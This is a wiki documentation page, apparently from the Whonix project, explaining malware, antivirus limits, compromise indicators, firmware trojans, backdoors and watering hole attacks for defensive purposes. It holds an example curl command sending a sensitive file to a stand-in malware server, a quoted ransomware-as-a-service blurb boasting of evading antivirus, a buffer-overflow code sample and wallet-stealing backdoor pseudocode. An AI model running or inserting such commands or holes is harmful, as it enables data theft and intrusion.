{{Header}} {{title|title= Malware, Computer Viruses, Firmware Trojans and Antivirus Scanners }} {{#seo: |description=Computer Virus Infections (Malware), Firmware Trojans, Protecting Against Virus Infections |image=Malware-1446109640.jpg }} [[File:Malware-1446109640.jpg|thumb]] {{#widget:Icon_Bullet_List |addClass=minimal margin-bottom-20 |fontSize=17px |item=fa-solid fa-check cs-blue,Virus is often used as a synonym for malware. |item=fa-solid fa-check cs-blue,Computer infections include viruses, trojan horses, spyware, ransomware and other categories of malware. |item=fa-solid fa-check cs-blue,Malware stands for malicious software. A computer virus is a an undesirable program running on the user's computer often without their consent or even without their knowledge. |item=fa-solid fa-check cs-blue,Preventing malware infections is very important because malware can steal your identity, passwords, accounts, impersonate you, steal all your private data, you risk getting SWATTed and more. |item=fa-solid fa-check cs-blue,Computer security, a computer that is free of malware, requires a security concept. Just only installing an antivirus scanner is insufficient. |item=fa-solid fa-check cs-blue,Detection and removal of malware is a hard problem. The utility of antivirus tools is actually rather limited. A much safer security concept needs to focus on prevention of malware infections, not on malware detection. }} = Malware = == The Importance of a Malware Free System == Malware has malicious intent and can potentially: https://en.wikipedia.org/wiki/Malware
Your Ransomware As A Service (RAAS) Tool for all your hacking needs. ... This was made to demonstrate ransomware and how easy it is to make. It works on Windows, Linux and MacOS. It's recommended to compile payload.py to EXE to make it more portable. ... This script does not get detected by any anti-virus. Self made scripts go undetected 99% of the time. It's easy to write something nasty like ransomware, adware, malware, you name it. ... I recommend a VPN that allows port forwarding (For example; PIA VPN) when using this outside your network, or better, a cloud computer hosted elsewhere, like Amazon AWS. The conclusion of this project is that it is easy to brick a system and earn money doing it. This script doesn't use any exploits to achieve its goal, but can easily be coded into it as a nice feature.Malware creators are likely to utilize existing software samples to create more pernicious tools with features like: greater payload customization (custom files), man-in-the-middle and DNS poisoning (website redirection), email payloads and email spoofing, anti-virus or other detection warnings, focused data gathering (passwords or other sensitive files), detection of mounted drives (for encryption), encrypted transfer of traffic between payloads and malicious servers, and much more. == The Utility of Antivirus Tools == Antivirus products and [https://en.wikipedia.org/wiki/Personal_firewall personal firewalls] are ''not'' drop in solutions for a secure host. Malware can often stay undetected and evade scans, while application level personal firewalls are often circumvented. https://www.grc.com/lt/leaktest.htm [https://en.wikipedia.org/wiki/Polymorphic_code Polymorphic code] and [https://en.wikipedia.org/wiki/Rootkit rootkits] essentially render antivirus products helpless. https://arstechnica.com/security/2014/05/antivurus-pioneer-symantec-declares-av-dead-and-doomed-to-failure/ [https://www.reddit.com/r/IAmA/comments/sq7cy/iama_a_malware_coder_and_botnet_operator_ama/?limit=500000 A botnet author brags in this thread of writing unbeatable malware and trolling antivirus vendors.] [https://forums.whonix.org/t/installation-of-antivirus-scanners-by-default/9755 The following paragraph is currently being discussed.] Antivirus tools are actually worse than useless. In the case of sophisticated and targeted attacks, the antivirus software can serve as a pathway to exploiting a system's kernel, since they almost always run with administration level privileges. https://theintercept.com/2015/06/22/nsa-gchq-targeted-kaspersky/ Some antivirus software also harms privacy by sending system files back to the company servers for analysis. https://www.schneier.com/blog/archives/2017/10/more_on_kaspers.html The software also actively conducts man-in-the-middle attacks on secure SSL connections, enabling very sensitive information to be inspected. https://bugs.chromium.org/p/project-zero/issues/detail?id=978 https://privsec.dev/posts/knowledge/badness-enumeration/#antiviruses == Preventing Malware Infections == The optimal scenario is to avoid infection by malware in the first place. Once malicious code has accessed a system, it is next to impossible to contain. Sensible steps include: hardening the operating system, carefully vetting programs and files that are retrieved from the Internet, using hypervisors (virtualizers) to isolate software that processes untrusted data, and periodically deleting and recreating virtual machines that are used for sensitive operations. For instance, in {{q_project_name_long}} this would involve the occasional deletion and recreation of {{project_name_long}} AppVMs. In the event a system compromise is strongly suspected or confirmed, the ultimate goal is to re-establish a trusted, private environment for future activities -- see [[Disaster_Recovery|Compromise Recovery]] for techniques to recover from {{project_name_short}} (host or VM) infections. == Detecting Malware Infections == Detecting off-the-shelf (standardized) malware is a very hard problem and conceptually a lost cause. {{Quotation |quote= The inconvenient and somehow embarrassing truth for us - the malware experts - is that there does not exist any reliable method to determine if a given system is ''not'' compromised. True, there is a number of conditions that can warn us that the system is compromised, but there is no limit on the number of checks that a system must pass in order to be deemed “clean”. |context=[https://www.qubes-os.org/news/2017/04/26/qubes-compromise-recovery/#digression-about-detecting-compromises Joanna Rutkowska, security researcher and founder of Qubes OS] }} If uncustomized malware is widespread enough, then it has a chance of being detected by a technician. Targeted malware might also get detected by a technician, but the likelihood is low unless they are lucky or gifted. Non-technical users do not have many good options. They can either: * Spend a few years to rapidly increase their knowledge base of operating systems, network protocols, package analysis, programming, disassembly etc., and then try their luck. * Pay exorbitant sums to a technician to try and find system malware, even though there is no certainty of success. The salary costs for a security researcher / malware analyst over an extended period rule this out for most individuals. https://forums.whonix.org/t/document-recovery-procedure-after-compromise/3296/12 * Or seek the voluntary assistance of a technician to find malware, if they are both a high value target and have a reasonable rationale for why they are likely compromised. Only a select group of people fall into this group, for instance, whistleblowers targeted and infected by targeted viruses. Experts might be located who are willing to conduct analysis pro bono; later publicizing their findings for the public benefit. {{Anchor|Detection of System Changes}} {{Anchor|Indicators of Compromise}} {{Anchor|Compromise Indicators}} == Finding Vulnerabilities == Finding [https://en.wikipedia.org/wiki/Vulnerability_(computing) vulnerabilities] in software is a complex task. A deep understanding of the source code, the ability to interpret disassembly, and/or proficiency with specialized tools (like static or dynamic analysis tools such as valgrind) are essential. Often, these skills are beyond the reach of typical users, making it primarily a domain for software developers and security researchers. Examples: * For a discussion on identifying vulnerabilities in C code or disassembly, see [https://stackoverflow.com/questions/67336225/why-is-this-binary-vulnerable-to-buffer-overflow Why is this binary vulnerable to buffer overflow?] * For a detailed vulnerability research report, refer to [https://seclists.org/oss-sec/2022/q1/68 CVE-2021-3998 and CVE-2021-3999 in glibc's realpath() and getcwd()]. == Valid Compromise Indicators versus Invalid Compromise Indicators == If trivial changes are noticed on your system -- such as a duplicate desktop icon -- this is not evidence of malware, a hack, or leak. Similarly, if warning or error messages appear that are difficult to understand, in most cases there is no need for panic. If something unexpected occurs such as the appearance of a "htaccess file in home directory", or graphical glitches emerge in some applications, then it is more likely a harmless bug and/or usability issue rather than a compromise. Never in the history of [https://en.wikipedia.org/wiki/Malware_analysis malware analysis], security researchers relied on unexpected occurrences such as duplicate desktop icons. Malware analysis is a skill that requires studying malware detection techniques. It's not a skill that can be casually picked up by pure observation and guesswork. Skilled attackers do not leave such obvious traces of their breach. An infection by tailored malware is more plausible in this scenario, and this is virtually impossible to detect by reading random messages in system logs. Even malware that is bought off-the-shelf (malware building toolkits) is unlikely to be discovered by cursory inspections. Interested readers can verify these claims by researching off-the-shelf malware building toolkits. They are dangerous to install for inexperienced users, but there is a wealth of information online such as screenshots and video tutorials. [https://en.wikipedia.org/wiki/Rootkit Rootkit] technology is no doubt a standard feature of the various programs. Strange files, messages, or other system behavior could feasibly relate to an attacker wanting the user to find something. However, the likelihood of this kind of harassment is considered low. [https://en.wikipedia.org/wiki/Script_kiddie Script kiddies] ("skiddies") are unskilled attackers who use scripts or programs to conduct attacks on computer systems and networks, most often with juvenile outcomes. For example, they might use programs to remotely control poorly-secured [[Windows Hosts|Microsoft Windows]] desktops, trolling their victims from an open, forced chat window, opening their DVD drive, and so on. It is improbable that skiddies can achieve similar exploits against Linux, Xen, or BSD platforms. It is unclear if script kiddie programs are readily available for attacking non-Microsoft Windows users. Sophisticated attackers (who are likely to use tailored malware) generally avoid detection unless the user is unlucky enough to be a victim of [https://en.wikipedia.org/wiki/Zersetzung Zersetzung] (a psychological warfare technique). How malware actually works: Contrary to popular belief, most sophisticated malware operates in a way that is designed to avoid detection by the user entirely. A common misconception is that malware will cause noticeable changes to the system, such as altering the desktop background, changing visual styles, moving windows around, or switching the default applications of the operating system. In reality, effective malware is far more subtle. For instance, a piece of malware designed to steal data might execute a command to upload sensitive files to a remote server without altering the system in a way that would draw attention. Consider the following example:
cat sensitive_file.txt | curl -X POST -d @- http://malware-server.com/uploadIn this example, the command reads the contents of a file (in this case,
sensitive_file.txt
) and immediately uploads it to a malicious server (malware-server.com
). This entire operation can occur silently in the background, with no visible signs to the user that something is amiss. At no point during this process are there user-noticeable changes. The malware's success hinges on its ability to remain invisible, operating quietly behind the scenes while carrying out its malicious activities.
Every forum post and support request requires time that could otherwise be directed to {{project_name_short}} development. Unless there is genuine evidence of a serious and credible problem, there is no need for a new post. See also [[Reporting_Bugs#Support_Request_Policy|Support Request Policy]] ([[Reporting_Bugs#Policy_Rationale|rationale]]). Developers and the {{project_name_short}} community at large do not have enough time to explain every message that Linux might report. In most cases, they are not important and outside the control of {{project_name_short}} developers.
== False-Positive Antivirus Reports ==
When an antivirus program reports having found a virus or other issue, it doesn't necessarily mean that there is an actual issue. According to [https://www.av-comparatives.org AV comparatives] and many other sources, there are false-positive reports, also known as false alarms. For example, you can see the results of the [https://www.av-comparatives.org/tests/false-alarm-test-march-2022/ False Alarm Test March 2022]. A virus or issue found report is, at best, an indication that there could be an issue, but there is no definitive proof.
Furthermore, the usefulness of antivirus reports is limited because, for most (if not all) commercial vendors of antivirus software, it is not easy or even impossible for the user and outside developers to get in contact with a [https://en.wikipedia.org/wiki/Malware_analysis malware analyst] at the antivirus company to receive further information, virus confirmation, bug reports, and so forth.
This issue is exacerbated by commercial antivirus software and their database, which are usually [https://en.wikipedia.org/wiki/Proprietary_software closed source] or even [https://en.wikipedia.org/wiki/Obfuscation_(software) obfuscated]. Therefore, even outside developers have a hard time investigating virus reports.
== Proofing an Actual Security Vulnerability ==
To prove that there is an actual security issue, more than a report by an antivirus scanner is required. This is due to the possibility of false alarms by antivirus software.
Proof of actual vulnerabilities could include showing a code issue in the [https://en.wikipedia.org/wiki/Source_code source code], in the [https://en.wikipedia.org/wiki/Disassembler disassembly], malicious behavior in a [https://en.wikipedia.org/wiki/Debugger debugger], a capture of the network traffic from a [https://en.wikipedia.org/wiki/Packet_analyzer packet analyzer] or [https://en.wikipedia.org/wiki/Proof_of_concept proof of concept (PoC)] [https://en.wikipedia.org/wiki/Exploit_(computer_security) exploit].
== Attribution of Security Vulnerabilities to Software ==
If a file is reported as infected by a virus scanner it does not necessarily follow that the reported file is the origin of the virus. This is due to file-infecting viruses.
What is a file-infecting virus? A file-infecting virus is a type of malware that infects files with the intent to cause permanent damage, make them unusable or spread itself to make detection and removal of the virus harder. A file-infecting virus injects its own code into different files.
== False-Positive Log Reports ==
{{mbox
| type = notice
| image = [[File:Ambox_notice.png|40px|alt=Info]]
| text = '''Reminder:''' {{project_name_short}} is not perfect. The security issues facing society are great, but there are few volunteers who are ''seriously'' investing the effort to challenge and resolve them.
}}
{{Should_I_be_concerned}}
= Firmware Trojans =
{{mbox
| type = notice
| image = [[File:Ambox_notice.png|40px|alt=Info]]
| text = Once a user is infected with very sophisticated malware that modifies low-level firmware, it is extremely difficult to detect in almost all cases.
}}
Firmware infections should not be confused with [https://en.wikipedia.org/wiki/Hardware_Trojan hardware/circuit trojans], which are malicious modifications made to machine components during the manufacturing process. Despite their sophistication, circuit trojans are not immune to detection. https://en.wikipedia.org/wiki/Hardware_Trojan#Detection
== Virtualizers and Hardware Compromise ==
Virtualizers like Qubes, VirtualBox and KVM cannot absolutely prevent the compromise of hardware. Running all activities inside VMs is a very reasonable approach. However, this only raises the bar and makes it more difficult and/or expensive to compromise the whole system. It is by no means a perfect solution.
No distribution of Linux, BSD, Xen or any other variant can solve the issue of needing to dispose of potentially infected hardware. Hardware-specific issues can really only be fixed at the hardware level. At best, software interventions can only provide workarounds.
== The Promise of Libre Firmware ==
The problem is no hardware exists that consists of entirely Libre firmware. It is very difficult to analyze the [https://en.wikipedia.org/wiki/Firmware firmware] of hardware, wipe potentially compromised versions, or [[Firmware_Security_and_Updates|overwrite firmware with a most-likely-clean version]].
Even if a user wholly depended on Libre firmware, this would only make verification easier but it could not stop infection. Disassembling hardware components -- BIOS, disk controllers, CPU, Intel AMT and so on -- and flashing them with clean versions offline is extremely difficult. It is simply cheaper and more convenient to buy new hardware.
The bundling of undesirable anti-features like DRM in closed firmware is further evidence that Libre firmware is needed, in addition to [https://www.gnu.org/philosophy/free-hardware-designs.html Libre hardware designs].
A hypothetical stateless computer https://blog.invisiblethings.org/2015/12/23/state_harmful.html https://github.com/rootkovska/state_harmful/blob/master/state_harmful.md would solve the problem of malware persistence, but it still could not protect against the damage (data-exfiltration) caused by successful exploitation.
= Backdoors =
[[Avoid_nonfreedom_software|Non-Freedom Software (precompiled binaries) should be avoided.]] because it is easier to hide backdoors. Freedom Software (source-available) should be preferred because it is more difficult to hide backdoors.
{{Backdoors}}
= Vulnerability versus Malicious Backdoor =
The word "backdoor" is not well defined. A vulnerability (or "bugdoor") can serve as a backdoor. Hence, many people use the terms vulnerability and backdoor as synonyms. This however confuses the boundaries between vulnerability "malicious backdoors", for which now a stronger word than just only "backdoor" must be used.
== Vulnerability Example ==
Bad (buffer overflow vulnerability):
char buf[10]; fgets(buf, sizeof(buf) - 1, stdin);Good example pseudo code (not vulnerable to buffer overflow):
char buf[10]; fgets(buf, sizeof(buf), stdin);Just a small code difference. Can be introduced by mistake, which happens a lot or intentionally. == Malicious Backdoor == Malicious backdoor pseudocode example:
# If the wallet balance is greater than 100, steal it. if wallet_balance >= 100 send_to_hacker("1HackerBTCAddressHere", wallet_balance) end # Otherwise, do nothing.It's expressive. It's targeted. It's intentional. Direct evidence. = Bitpay Wallet Malicious Backdoor = Bitpay Wallet at the time was called Copay Bitcoin Wallet. It had an interesting backdoor. {{quotation |quote=If more than 100 BTC, steal it. Otherwise, don't bother. }} sources: * https://www.synopsys.com/blogs/software-security/malicious-dependency-supply-chain/ * https://github.com/dominictarr/event-stream/issues/116 * https://github.com/dominictarr/event-stream/issues/116#issuecomment-441759047 = Malware Audits = It is ''theoretically'' possible to discover malware by comparing an already used/booted, [[Download|supported]] VM image such as a VirtualBox
.ova
image or Qubes template with the original. However, at the time of writing this is infeasible for {{project_name_short}} developers.
Quote security researcher, [https://www.qubes-os.org/news/2017/04/26/qubes-compromise-recovery/ Joanna Rutkowska, founder of Qubes OS]:
The inconvenient and somehow embarrassing truth for us – the malware experts – is that there does not exist any reliable method to determine if a given system is not compromised. True, there is a number of conditions that can warn us that the system is compromised, but there is no limit on the number of checks that a system must pass in order to be deemed “clean”.Professional malware audits require a completely different skill set to software development, such as forensic and research capabilities, along with a laboratory facility. An analogy is expecting a professional chef to identify the source and quality of every ingredient used in an already cooked meal; this expectation is completely unrealistic. Like most, if not all Linux distributions, {{project_name_short}} relies upon many different software packages which are developed by countless independent parties; see [[Linux User Experience versus Commercial Operating Systems]] to learn more about the Linux organizational structure. The likelihood of discovering purposeful modifications is low until fully [https://reproducible-builds.org/ reproducible builds] (or at least [[Verifiable Builds]]) are available. Presently there is not a single Linux distribution installation whose image can be re-built deterministically by independent third parties. That means introduced modifications cannot be easily discovered during the compilation process. As the Reproducible Builds project has stated:
The motivation behind the Reproducible Builds project is therefore to allow verification that no vulnerabilities or backdoors have been introduced during this compilation process.As the [https://www.qubes-os.org/news/2021/02/28/improvements-in-testing-and-building/#reproducible-builds Qubes OS project] has stated:
(A “rebuilder” is a program that takes a binary and its purported source code as inputs, along with any applicable metadata, and attempts to build an identical binary from the source code. The goal is to check whether the binary was really compiled from its claimed source code.)Proper malware audit capabilities are conditional upon several key milestones: # Completion of Debian's [https://wiki.debian.org/ReproducibleBuilds Reproducible Builds] project -- 91% of packages currently build reproducibly in Debian
bullseye
.
# All packages build reproducibly in Debian and other Linux distributions.
# The Linux distribution policy mandates package repoducibility.
# Independent package rebuilders become available.
# Note that reproducible package builds are not equivalent to reproducible installed packages.
Many files in /etc
or /var
are auto generated at package installation time.
# The Reproducible Builds project works towards reproducible installation CD/DVD images. This is a prerequisite for at least partially reproducible installed packages which are required by the installer.
# Independent installation image rebuilders become available.
# Reproducible VM images become feasible.
# Independent VM image rebuilders become available.
# Auditing already used (VM) images is increasingly feasible.
To date only the first milestone has been partially accomplished. Completing the remaining prerequisite milestones will probably take many years of difficult engineering work.
See also:
A watering hole attack is a malware attack in which the attacker observes the websites often visited by a victim or a particular group, and infects those sites with malware. A watering hole attack has the potential to infect the members of the targeted victim group. Although uncommon, a watering hole attack does pose a significant threat to websites, as these attacks are difficult to diagnose.In the case of {{project_name_short}} users, any future attempt would logically target hosted content on GitHub, SourceForge, various forum locations, mirrors, popular documentation links, and frequently visited security and anonymity sites like Tails, The Tor Project and so on. More commonly attacks favor banks, large organizations and government offices due to the obvious political and profit motives. The hope is that developers, contributors and general users of the software become infected with stealthy malware that is immune to detection. The attack involves a few steps: https://en.wikipedia.org/wiki/Watering_hole_attack # Zero-day or other vulnerabilties target the website software. # Malicious JavaScript or HTML are most often used to inject malicious programming code. # The code redirects visitors to a different site that serves "malvertisments" or malware masquerading as legitimate software. # Once installed, the malware can infect various members of the targeted group. It should be noted that advanced adversaries are capable of gaining knowledge about the behavioral patterns of target groups -- where they congregate, topics of research, related interests, and handle mapping of anonymous networks. This generic browsing and membership knowledge, along with observed security practices, greatly narrows the number of specific sites that need be targeted and the suitable attack mode. One way to mitigate this threat is to rigorously inspect websites for malicious code. Interested readers can learn about six recent watering hole attacks targeting the US, China, banks and other entities [https://en.wikipedia.org/wiki/Watering_hole_attack#Examples here]. = See Also = * [[Mental Model]] * [[Threat Modeling]] * [[Disaster Recovery]] * [[Factory Reset]] * [[Operating System Software and Updates]] * [[System Hardening Checklist]] * [[Firmware Security and Updates]] * [[Open-source Hardware]] * https://github.com/tylabs/quicksand = References = {{reflist|close=1}} {{Footer}} [[Category:Documentation]]